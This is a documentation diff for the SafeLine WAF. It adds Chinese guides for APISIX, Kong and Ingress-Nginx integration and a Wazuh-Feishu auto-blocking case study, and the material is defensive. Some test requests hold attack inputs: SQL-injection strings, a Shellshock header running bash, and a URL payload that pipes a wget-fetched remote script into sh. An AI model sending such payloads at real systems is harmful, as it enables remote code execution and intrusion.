echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
docker compose -f docker-compose-release.yaml up -d
```
业务地址http://127.0.0.1:9080/
管理地址http://127.0.0.1:9180/
### 安装雷池
使用雷池官方提供的一句话安装命令即可:
```
bash -c "$(curl -fsSLk <https://waf-ce.chaitin.cn/release/latest/setup.sh>)"
```
不出意外的话,一路回车就能安装成功。
安装目录:/data/safeline/
### 修改雷池检测引擎的工作模式
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 APISIX 调用。
社区版雷池的检测引擎默认以 unix socket 的方式提供服务,我们需要把他修改为 tcp 方式,供 t1k 插件调用。
进入雷池检测引擎的配置目录:
@@ -62,19 +37,18 @@ bind_addr: 0.0.0.0
listen_port: 8000
```
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口,现在只需要把容器内的 8000 端口映射到宿主机即可
detector配置的属性值将覆盖容器内默认配置文件的同名属性值。这样我们就把雷池引擎的服务监听到了 8000 端口。
进入雷池的安装目录
> cd /data/safeline/
> 用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000
端口,参考如下:
现在只需要把容器内的 8000 端口映射到宿主机即可,首先进入雷池的安装目录
```
cd /data/safeline/
```
然后用文本编辑器打开目录里的 compose.yaml 文件,为 detector 容器增加 ports 字段,暴露其 8000 端口,参考如下:
```
......
detector:
detect:
......
ports:
- 8000:8000
@@ -95,6 +69,23 @@ docker compose up -d
在雷池的安装目录下,有一个名为 .env 的隐藏文件,其中的 MGT_PORT 字段,修改这里后使用上面的方法再重启雷池即可生效。
### 安装 APISIX
> 注意,要使用 APISIX 3.5.0 及以上版本
本文使用 apisix 的 docker 版本来做演示,克隆 apisix-docker 仓库,运行以下命令来安装:
```
git clone <https://github.com/apache/apisix-docker>
cd apisix-docker/compose
echo 'APISIX_DOCKER_TAG=3.5.0-debian' >> .env
docker compose -f docker-compose-release.yaml up -d
```
业务地址http://127.0.0.1:9080/
管理地址http://127.0.0.1:9180/
### 在 apisix 里绑定雷池
调用 apisix 的 api设置雷池检测引擎的地址供 apisix 调用,参考以下请求:
@@ -159,3 +150,45 @@ curl '<http://127.0.0.1:9080/>' -d 'a=1 and 1=1'
```
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息
### 让 WAF 本身的站点拦截同时工作
由于更改了 detector 的监听方式,通过雷池控制台界面配置的站点将无法正常拦截恶意请求,需要在 nginx 配置中将检测引擎地址改为 http 方式。
首先拷贝一份 nginx 配置文件
```shell
cp /data/safeline/resources/nginx/safeline_unix.conf /data/safeline/resources/nginx/safeline_http.conf
```
编辑 nginx.conf 文件,将里面的 `include /etc/nginx/safeline_unix.conf;` 注释掉,添加下面的一行
```shell
# nginx.conf
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/generated;
# include /etc/nginx/safeline_unix.conf;
include /etc/nginx/safeline_http.conf;
```
通过 docker inspect 获取 detector 的 ip
```shell
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' safeline-detector
```
编辑 safeline_http.conf 文件做出如下修改
```yaml
# safeline_http.conf
upstream detector_server {
keepalive 256;
#server unix:/resources/detector/snserver.sock;
server detector_ip:8000; # 这里填写上面获取到的 detector 的 ip
}
```
### 问题答疑
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
![雷池SDK讨论群](/images/docs/sdk_chat.png)

View File

@@ -0,0 +1,66 @@
---
title: "Kong 集成雷池"
---
# Kong 集成雷池
[Kong](https://github.com/Kong/kong) 是一个云原生、快速、可扩展和分布式的微服务抽象层(也称为 API 网关或 API 中间件)。它通过插件提供了丰富的流量控制、安全、监控和运维功能。
# 使用方式
### 版本要求
* Kong >= 2.6.x
* Safeline >= 5.6.0
### 准备工作
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
### 安装 Kong 插件
自定义插件可以通过 LuaRocks 安装。Lua 插件以 .rock 格式分发,这是一个自包含的包,可以从本地或远程服务器安装。
如果您使用了官方的 Kong Gateway 安装包,则 LuaRocks 实用程序应该已经安装在您的系统中。
1. 安装 safeline 插件
```shell
luarocks install kong-safeline
```
2. 启用 safeline 插件,在 kong.conf 配置文件中添加以下配置:
```shell
plugins = bundled,safeline # Comma-separated list of plugins this node
# should load. By default, only plugins
# bundled in official distributions are
# loaded via the `bundled` keyword.
```
3. 重启 Kong Gateway
```shell
kong restart
```
### 使用 Kong 插件
在某个 service 上启用 safeline 插件:
> config 中的 detector_host 和 safeline_port 是雷池检测引擎的地址和端口,是在准备工作中配置的。
```shell
curl -X POST http://localhost:8001/services/{service}/plugins \
--data "name=safeline" \
--data "config.safeline_host=<detector_host>" \
--data "config.safeline_port=<detector_port>"
```
### 测试防护效果
模拟简单的 SQL 注入攻击访问 kong ,如果返回 403 Forbidden说明防护生效。
```shell
$ curl -X POST http://localhost:8000?1=1%20and%202=2
# you will receive a 403 Forbidden response
{"code": 403, "success":false, "message": "blocked by Chaitin SafeLine Web Application Firewall", "event_id": "8b41a021ea9541c89bb88f3773b4da24"}
```
打开雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
### 问题答疑
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
![雷池SDK讨论群](/images/docs/sdk_chat.png)

View File

@@ -0,0 +1,180 @@
---
title: "Ingres-Nginx 集成雷池"
---
# 使用方式
### 版本要求
* Safeline >= 5.6.0
### 准备工作
参考 [APISIX 联动雷池](/docs/practice/apisix#准备工作) 的准备工作。
### 准备 Safeline 配置
使用 ConfigMap 配置 Safeline 插件需要的检测引擎 host 和 port内容如下
```yaml
# safeline.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: safeline
namespace: ingress-nginx
data:
host: "detector_host" # 雷池检测引擎的地址, 参考准备工作
port: "8000"
```
使用 ingress-nginx 创建 ConfigMap
```shell
kubectl create namespace ingress-nginx
kubectl apply -f safeline.yaml
```
### 全新安装集成方式
使用 helm 安装 Ingress-Nginx参考 [Ingress-Nginx 官方文档](https://kubernetes.github.io/ingress-nginx/deploy/#using-helm)
使用下面的 values.yaml 进行镜像替换和插件配置:
```yaml
# values.yaml
controller:
kind: DaemonSet
image:
registry: docker.io
image: chaitin/ingress-nginx-controller
tag: v1.10.1
digest: ""
extraEnvs:
- name: SAFELINE_HOST
valueFrom:
configMapKeyRef:
name: safeline
key: host
- name: SAFELINE_PORT
valueFrom:
configMapKeyRef:
name: safeline
key: port
service:
externalTrafficPolicy: Local # 便于获取真实客户端 IP
config:
plugins: safeline
admissionWebhooks:
patch:
image:
registry: docker.io
image: chaitin/ingress-nginx-kube-webhook-certgen
tag: v1.4.1
digest: ""
```
执行安装命令
```shell
helm upgrade --install ingress-nginx ingress-nginx \
--repo https://kubernetes.github.io/ingress-nginx \
--namespace ingress-nginx --create-namespace \
-f values.yaml
```
如果你想自行构建 Ingress-Nginx 镜像,可以参考下面的 Dockerfile
```Dockerfile
FROM registry.k8s.io/ingress-nginx/controller:v1.10.1
USER root
RUN apk add --no-cache make gcc unzip wget
# install luaroncks
RUN wget https://luarocks.org/releases/luarocks-3.11.0.tar.gz && \
tar zxpf luarocks-3.11.0.tar.gz && \
cd luarocks-3.11.0 && \
./configure && \
make && \
make install && \
cd .. && \
rm -rf luarocks-3.11.0 luarocks-3.11.0.tar.gz
RUN luarocks install ingress-nginx-safeline && \
ln -s /usr/local/share/lua/5.1/safeline /etc/nginx/lua/plugins/safeline
USER www-data
```
### 已有 Ingress-Nginx 集成方式
#### Step 1. 安装 Safeline 插件
参考上面的 Dockerfile 使用 luarocks 安装 Safeline 插件到 nginx 的默认插件目录。
#### Step 2. 配置 Safeline 插件
使用上面的 safeline.yaml 创建 ConfigMap
```shell
kubectl apply -f safeline.yaml
```
在 Ingress-Nginx 的插件配置中启用 Safeline
```yaml
# ingress-nginx-controller-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: ingress-nginx-controller
namespace: ingress-nginx
data:
plugins: "safeline"
```
#### Step 3. 注入 Safeline 环境变量
在 Ingress-Nginx 的 Deployment/DaemonSet 中添加环境变量便于插件读取:
```yaml
# ingress-nginx-controller-deployment.yaml
...
env:
- name: SAFELINE_HOST
valueFrom:
configMapKeyRef:
name: safeline
key: host
- name: SAFELINE_PORT
valueFrom:
configMapKeyRef:
name: safeline
key: port
```
#### Step 4. [可选] 获取真实客户端 IP
配置 nginx service 的 externalTrafficPolicy 为 Local以便获取真实客户端 IP
### 测试 Safeline 插件
通过构造恶意请求测试 Safeline 插件是否生效,例如:
```shell
curl http://localhost:80/ -H "Host: example.com" -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'echo hello'"
```
你会看到返回 403 Forbidden说明 Safeline 插件生效了。
```json
{
"code": 403,
"success": false,
"message": "blocked by Chaitin SafeLine Web Application Firewall",
"event_id": "18e0f220f7a94127acb21ad3c1b4ac47"
}
```
在雷池的控制台界面,可以看到雷池记录了完整的攻击信息。
### 问题答疑
如果在使用过程中遇到问题,可以在加入 SDK 讨论群
![雷池SDK讨论群](/images/docs/sdk_chat.png)

View File

@@ -1,6 +1,6 @@
{
"label": "最佳实践",
"collapsed": false,
"collapsed": true,
"link": {
"type": "generated-index"
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,600 @@
---
title: "自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书"
---
# 自动化安全运营实操案例: Wazuh X 雷池WAF X 飞书
作者曼联小胖子社区42群
## 背景
作为中小型企业的安全工程师往往面临资源有限没SOC/SOAR、人手不足的情况很可能1个人要负责运营公司所有安全产品例如我
为了提升安全运营的工作效率,我们需要解决以下问题:
1. 避免频繁切换安全系统看日志
2. 避免人工封禁IP的傻瓜式操作
3. 将攻击详情以及处置告警及时通知到相关人员,并且方便随时讨论
本文主要介绍“Wazuh X 雷池WAF X 飞书”联动的场景另外实际工作中还能产生”Wazuh X 网络/安全设备 X 飞书"、”Wazuh X 服务器 X 飞书"、“Wazuh X 蜜罐 X飞书“的应用以后有时间再逐个开坑做案例分享。
## 软件介绍
### Wazuh
一款国外的SIEM平台可以理解为安全版的ELK具有日志统计分析、可视化、主机监控等功能。目前github有9.2k star目前分为Saas版和开源版。
Wazuh分为Server端以及AgentAgent可以对服务器进行日志监控、漏洞检测、安全合规基线扫描、进程收集集成Virus Total接口后可具备磁盘恶意文件检测能力。
本文中使用的是私有部署的开源版 **4.7.3**,主要提供日志监控、下发指令自动处置的能力。
### 雷池社区版
雷池SafeLine是长亭科技耗时近 10 年倾情打造的WAF核心检测能力由智能语义分析算法驱动目前分为社区版、专业版和企业版。
本文使用的是私有部署的社区版 **5.4.0**主要提供Web安全检测防护能力、产生安全日志。
### 飞书
一款字节跳动旗下的工作协同平台和IM软件读者公司若使用钉钉、企业微信也可以达到一样效果。
本文使用的是商业版 **7.15.9** ,主要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。
## 工作流程图
![Alt text](/images/docs/submission/operate.png)
效果图
![Alt text](/images/docs/submission/operate-1.png)
![Alt text](/images/docs/submission/operate-2.png)
### 前置工作
#### 服务器2台
Wazuh Server服务器操作系统本文以CentOS 7.6为例该服务器需要部署Wazuh Server以及处置python脚本CPU、内存、硬盘要求可参考官方文档和下图
![Alt text](/images/docs/submission/operate-3.png)
雷池WAF服务器32G内存4核CPU100G硬盘操作系统本文以Rocky Linux 9.3为例代替将要停服的CentOS7。该服务器需要部署雷池WAF以及Wazuh Agent。
#### 安装Wazuh Server
Wazuh Server的组件以及功能非常多还支持集群部署。由于篇幅问题本文不展开进行阐述旨在快速部署环境。
运行官方一键安装脚本,建议挂魔法,避免安装过程失败。
```shell
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
```
安装完成后会输出web访问地址和admin密码输入https://ip 后即可访问wazuh的web界面。
如果访问不了请检查防火墙是否放开443端口。
```shell
INFO: --- Summary ---
INFO: You can access the web interface https://<wazuh-dashboard-ip>
User: admin
Password: <ADMIN_PASSWORD>
INFO: Installation finished.
```
如还有安装问题,见官方安装文档并自行根据提示和日志进行排查。
### 安装雷池WAF
1. 安装docker
```shell
#删除旧版本docker
sudo yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine
#安装最新版本docker
sudo yum install -y yum-utils
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo systemctl start docker
sudo systemctl enable docker
```
2. 安装雷池WAF
```shell
CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
```
安装完成后注意防火墙放开9443端口初始账号为admin密码在安装完waf后会随机生成
![](/images/docs/submission/operate-4.png)
如还有安装问题,见官方安装文档。
### 安装Wazuh Agent
1. 本地用浏览器登录Wazuh Web管理界面:
![Alt text](/images/docs/submission/operate-5.png)
2. 进入部署界面
![Alt text](/images/docs/submission/operate-6.png)
3. 生成Wazuh Agent部署命令
![Alt text](/images/docs/submission/operate-7.png)
4. 登录雷池WAF服务器执行以下命令安装Wazuh Agent。注意Wazuh Server的1514、1515端口要开放给雷池WAF服务器访问。
```shell
curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo WAZUH_MANAGER='192.168.31.24' WAZUH_AGENT_NAME='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
```
### 安装飞书
官网直接下载飞书安装即可
## 配置过程
### 雷池WAF配置
1. 本地浏览器登录雷池WAF管理界面根据自己公司的实际情况添加要保护的域名例如a.test.com
![Alt text](/images/docs/submission/operate-8.png)
2. 添加一个自定义IP组后面做黑名单用。
![Alt text](/images/docs/submission/operate-9.png)
3. 添加一个黑名单关联上一步创建的IP组。
![Alt text](/images/docs/submission/operate-10.png)
4. 根据实际情况配置雷池WAF的安全功能
![Alt text](/images/docs/submission/operate-11.png)
### 雷池WAF服务器配置
1. 登录雷池WAF服务器映射雷池pgsql数据库本地登录端口5432到宿主机后续shell脚本需要登录数据库
```shell
docker stop safeline-pg
systemctl stop docker
vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json #找到PortBindings修改为以下配置"PortBindings":{"5432/tcp":[{"HostIp":"127.0.0.1","HostPort":"5432"}]},
systemctl start docker
netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
```
2. 获取pgsql数据库的密码
```shell
cat /data/safeline/.env | grep POSTGRES_PASSWORD | tail -n 1 | awk -F '=' '{print $2}'
```
3. 创建.pgpass后续传递密码给shell脚本使用
```shell
vim /var/scripts/.pgpass,添加以下参数
localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
```
4. 创建shell脚本主要功能是生成syslog日志给wazuh监控使用
```shell
mkdir /var/log/waf_alert
touch /var/log/waf_alert/waf_alert.log
touch /var/scripts/waf_log.sh
chmod u+x /var/scripts/waf_log.sh
vim /var/scripts/waf_log.sh添加以下代码
#!/bin/bash
# 设置PGPASSFILE环境变量
export PGPASSFILE=/var/scripts/.pgpass
# PostgreSQL 的连接信息
PG_HOST="localhost"
PORT="5432"
DATABASE="safeline-ce"
USERNAME="safeline-ce"
HOSTNAME=$(hostname)
PROGRAM_NAME="safeline-ce"
#获取最后一条WAF攻击事件日志的ID日志数据存储在MGT_DETECT_LOG_BASIC表中
LAST_ID=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT id FROM PUBLIC.MGT_DETECT_LOG_BASIC ORDER BY id desc limit 1")
while true;do
#从pgsql数据库中获取waf的最新攻击事件日志如果没有产生新日志这条SQL会返回空
raw_log=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT TO_CHAR(to_timestamp(timestamp) AT TIME ZONE 'Asia/Hong_Kong', 'Mon DD HH24:MI:SS'), CONCAT(PROVINCE, CITY) AS SRC_CITY, SRC_IP, CONCAT(HOST, ':', DST_PORT) AS HOST,url_path,rule_id,id FROM PUBLIC.MGT_DETECT_LOG_BASIC where id > '$LAST_ID' ORDER BY id asc limit 1")
#检查SQL查询结果如果有新加的日志就执行以下操作把SQL查询结果重写为syslog日志并记录到/var/log/waf_alert/waf_alert.log
if [ -n "$raw_log" ]; then
ALERT_TIME=$(echo "$raw_log" | awk -F ' \\| ' '{print $1}')
SRC_CITY=$(echo "$raw_log" | awk -F ' \\| ' '{print $2}')
SRC_IP=$(echo "$raw_log" | awk -F ' \\| ' '{print $3}')
DST_HOST=$(echo "$raw_log" | awk -F ' \\| ' '{print $4}')
URL=$(echo "$raw_log" | awk -F ' \\| ' '{print $5}')
RULE_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $6}')
EVENT_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $7}')
syslog="src_city:$SRC_CITY, src_ip:$SRC_IP, dst_host:$DST_HOST, url:$URL, rule_id:$RULE_ID, log_id:$EVENT_ID"
echo $ALERT_TIME $HOSTNAME $PROGRAM_NAME: $syslog >> /var/log/waf_alert/waf_alert.log
#更新最后处理的事件ID
LAST_ID=$(($LAST_ID+1))
fi
sleep 3
done
```
5. 后台运行监控脚本,并且添加开机启动:
```shell
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
vim /etc/rc.local添加以下代码
nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
```
### 飞书配置
1. 添加一个安全告警通知群和群机器人,后面需要通过这个机器人发告警卡片到群里。
![Alt text](/images/docs/submission/operate-16.png)
2. 选择自定义机器人。
![Alt text](/images/docs/submission/operate-17.png)
3. 保存webhook地址后面配置wazuh脚本要用。
![Alt text](/images/docs/submission/operate-18.png)
### Wazuh Server配置
1. 添加触发告警时调用的脚本一共有2个文件这是custom-waf文件不用做任何修改
```shell
touch /var/ossec/integrations/custom-waf
chmod 750 /var/ossec/integrations/custom-waf
chown root:wazuh /var/ossec/integrations/custom-waf
vim /var/ossec/integrations/custom-waf ,添加以下代码:
#!/bin/sh
# Copyright (C) 2015, Wazuh Inc.
# Created by Wazuh, Inc. <info@wazuh.com>.
# This program is free software; you can redistribute it and/or modify it under the terms of GPLv2
WPYTHON_BIN="framework/python/bin/python3"
SCRIPT_PATH_NAME="$0"
DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
case ${DIR_NAME} in
*/active-response/bin | */wodles*)
if [ -z "${WAZUH_PATH}" ]; then
WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"
fi
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
;;
*/bin)
if [ -z "${WAZUH_PATH}" ]; then
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
fi
PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"
;;
*/integrations)
if [ -z "${WAZUH_PATH}" ]; then
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
fi
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
;;
esac
${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@"
```
2. 这是封禁IP以及发飞书告警的python脚本custom-waf.py我用的是centos自带的python 2.7.5,注释部分需更改为自己的信息
```shell
mkdir /var/log/waf/block_ip.log
chown wazuh:wazuh /var/log/waf/block_ip.log
chmod 644 /var/log/waf/block_ip.log
touch /var/ossec/integrations/custom-waf.py
chmod 750 /var/ossec/integrations/custom-waf.py
chown root:wazuh /var/ossec/integrations/custom-waf.py
vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
```
```shell
#!/usr/bin/env python
import sys
import json
import ssl
import requests
import os
import datetime
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
def read_alert_file():
alert_file = open(sys.argv[1])
alert_json = json.loads(alert_file.read())
alert_file.close()
timestamp = alert_json['predecoder']['timestamp']
hostname = alert_json['predecoder']['hostname']
description = alert_json['rule']['description']
full_log = alert_json['full_log']
src_city = alert_json['data']['src_city']
src_ip = alert_json['data']['src_ip']
dst_host = alert_json['data']['dst_host']
dst_url = alert_json['data']['dst_url']
print(src_ip)
return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url
def login(host,username,password):
csrf_url = f"{host}/api/open/auth/csrf"
response = requests.get(csrf_url, verify=False)
data = response.json()
csrf_token = data["data"]["csrf_token"]
login_data = {
'csrf_token': csrf_token,
'username': username,
'password': password,
}
login_url = f"{host}/api/open/auth/login"
response = requests.post(login_url,json=login_data,verify=False)
data = response.json()
jwt = data["data"]["jwt"]
return jwt
def get_info(host,jwt):
url = f"{host}/api/open/ipgroup?top=1001"
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt}"
}
response = requests.get(url,headers=headers,verify=False)
data = response.json()
ip_group_id = data["data"]["nodes"][-1]["id"]
ip_group_name = data["data"]["nodes"][-1]["comment"]
ips = data["data"]["nodes"][-1]["ips"]
ips_count = len(ips)
url = f"{host}/api/open/rule"
requests.get(url,headers=headers,verify=False)
return ip_group_id,ip_group_name,ips,ips_count
def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip):
url = f"{host}/api/open/ipgroup"
ips.append(src_ip)
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt}"
}
body = {
"id":ip_group_id,
"reference":"",
"comment":ip_group_name,
"ips":ips
}
requests.put(url,json=body,headers=headers,verify=False)
def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip):
url = f"{host}/api/open/ipgroup"
ip_group_id = ip_group_id +1
ip_group_name = "black_ip_group_name-" + str(ip_group_id)
src_ip = [src_ip]
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt}"
}
body = {
"reference":"",
"comment":ip_group_name,
"ips":src_ip
}
requests.post(url,json=body,headers=headers,verify=False)
return ip_group_id,ip_group_name
def create_rule(host,jwt,ip_group_id,ip_group_name):
url = f"{host}/api/open/rule"
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt}"
}
body = {
"action": 1,
"comment": ip_group_name,
"is_enabled": True,
"pattern": [{
"k": "src_ip",
"op": "in",
"v": str(ip_group_id),
"sub_k": ""
}]
}
requests.post(url,json=body,headers=headers,verify=False)
def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url):
headers={
"Content-Type": "application/json"
}
msg_data = {
"msg_type": "interactive",
"card": {
"header": {
"title": {
"tag": "plain_text",
"content": description
},
"template": "red"
},
"elements": [
{
"tag": "div",
"text": {
"tag": "lark_md",
"content": "**请注意以下攻击源IP已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源IP: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url
}
},
{
"tag": "hr"
},
{
"tag": "div",
"text": {
"tag": "lark_md",
"content": "**原始syslog日志:**" + "\n" + full_log
}
},
]
}
}
requests.post(webhook_url,json=msg_data,headers=headers)
def print_log(log_file_path,src_ip):
now = datetime.datetime.now()
time_str = now.strftime('%b %d %H:%M:%S')
log_template = "{time} prod-waf safe-line:{ip} has been blocked."
message = log_template.format(time=time_str, ip=src_ip)
log_file_path = log_file_path
with open(log_file_path, 'a') as log_file:
log_file.write(message + '\n')
def main(host,username,password,log_file_path,webhook_url):
timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file()
jwt = login(host,username,password)
ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt)
if ips_count > 999:
ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip)
create_rule(host,jwt,ip_group_id,ip_group_name)
else:
update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip)
feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url)
print_log(log_file_path,src_ip)
host = "https://192.168.1.1:9443" #替换成WAF地址
log_file_path = "/var/log/waf/block_ip.log"
webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址
username = "admin"
password = "123456" #替换成WAF密码
if __name__ == "__main__":
main(host,username,password,log_file_path,webhook_url)
sys.exit(0)
```
3. 添加Wazuh Server解码器
```shell
touch /var/ossec/etc/decoders/safeline-waf-decoders.xml
chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml
chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml
vim /var/ossec/etc/decoders/safeline-waf-decoders.xml添加以下代码
```
```shell
<decoder name="safeline-ce">
<program_name>safeline-ce</program_name>
<regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex>
<order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order>
</decoder>
```
4. 添加Wazuh Server告警规则
```shell
touch /var/ossec/etc/rules/safeline-waf-rules.xml
chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml
chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml
vim /var/ossec/etc/rules/safeline-waf-rules.xml添加以下代码
```
```shell
<group name="syslog,safeline,">
<rule id="119101" level="7">
<decoded_as>safeline-ce</decoded_as>
<match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名
<description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上
</rule>
```
5. 修改Wazuh Server的ossec配置
```shell
vim /var/ossec/etc/ossec.conf,添加以下代码:
<integration>
<name>custom-waf</name>
<rule_id>119101</rule_id>
<alert_format>json</alert_format>
</integration>
```
6. 重启Wazuh Server使所有配置生效
```shell
/var/ossec/bin/wazuh-control restart
```
### Wazuh Agent配置
1. 登录雷池WAF服务器配置ossec监听waf_alert.log日志文件
```shell
vim /var/ossec/etc/ossec.conf ,添加以下配置
<localfile>
<log_format>syslog</log_format>
<location>/var/log/waf_alert/waf_alert.log</location>
</localfile>
```
最后如图
![Alt text](/images/docs/submission/operate-19.png)
2. 重启Wazuh Agent使ossec配置生效
```shell
systemctl restart wazuh-agent
```
## 大功告成,测试效果
对网站进行漏扫或者输入攻击测试语句,触发告警,查看拦截结果,例如
https://a.test.com/view.php?doc=11.jpg&format=swf&isSplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-O-|sh
飞书告警卡片,群里的相关人员都可以看到非常清晰的消息卡片
![Alt text](/images/docs/submission/operate-12.png)
雷池WAF IP黑名单可以看到攻击源IP 47.1.1.1已经自动添加
![Alt text](/images/docs/submission/operate-13.png)
当攻击者想再次尝试访问网站,已经被拦截
![Alt text](/images/docs/submission/operate-14.png)
如果想统计一共封了多少个黑名单IP可以直接查看日志
cat /var/log/waf/block_ip.log
![Alt text](/images/docs/submission/operate-15.png)
## 发散思维
由于个人精力有限关于飞书告警其实我还有2个想法没实现有兴趣和开发能力的同学可以继续探索
1. 为了避免误封IP其实推送到飞书的卡片消息可以增加两个交互按钮“确认封禁IP”“忽略”当点击“确认封禁IP”时才触发封禁IP同时发送一条处置结果到群里做通知。
2. 告警信息推送到飞书群后现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的自动化流程能力经过精心的表格字段设计、自动化流程配置和API开发可以作为低成本的安全数据中心和SOAR使用例如定期推送安全周报到飞书安全工作群、定期汇总恶意IP清单并推送给安全设备等

View File

@@ -0,0 +1,7 @@
{
"label": "社区投稿",
"collapsed": true,
"link": {
"type": "generated-index"
}
}

View File

@@ -6,6 +6,216 @@ title: "版本更新记录"
[版本升级方法](/guide/upgrade)
### [6.2.0] - 2024-06-27
#### 新增
* 动态防护测试进展良好取消防护数量限制。HTML 支持全局动态加密专业版支持快速加解密。JS 支持防护任意数量资源,但性能消耗较大,请充分测试后再上线
#### 优化
* 补充规则支持筛选规则 ID、规则名称
* 雷池检查上游服务器状态时UA 内会增加 “SafeLine-CE/版本号”,方便上游区分
* 专业版 访问日志/错误日志 中,若配置过 “源 IP 获取方式”,则增加显示对应的请求头内容
* 检查上游服务器状态时,由于 404 一般只是根路径不存在,网站仍然正常,本版本起 404 不再判断为异常了
* 修复自定义规则名称保存后有时显示不正确的问题
### [6.1.3] - 2024-06-21
### #修复
* 修复部分站点详情部分数据空白的问题
* 修复部分网页是要动态防护功能时样式错误的问题
* 修复 tengine 偶尔出现 exchange secret error 的问题
### [6.1.2] - 2024-06-20
#### 优化
* 动态防护社区版支持 5 个,专业版支持 50 个
* 简化动态防护配置,移除 启用/禁用 操作,现在直接选防护资源即可。
* 注意:历史版本禁用了动态防护,但同时选了若干资源的,升级后会移除这些资源的选择
* 优化站点详情 UI 交互,现在可以在详情页编辑站点配置、一键防护配置了
* 修复站点处于观察模式时,有时补充规则仍会被拦截的问题
* 优化后台服务在重启的过程中,控制台的报错提示
* 修复升级有可能出现 tengine 无法启动,以及安装完也可能无法保存站点,提示 “ca md too weak” 的问题
* 优化其他 UI 交互细节,修复其他一些已知问题
### [6.1.1] - 2024-06-14
#### 修复
* 修复实时日志显示问题
### [6.1.0] - 2024-06-14
#### 新增
* 专业版站点详情新增访问日志、错误日志。且支持设置日志大小上限,达到上限后自动清理旧文件
![](/images/docs/about_changelog/6.1.0-1.png)
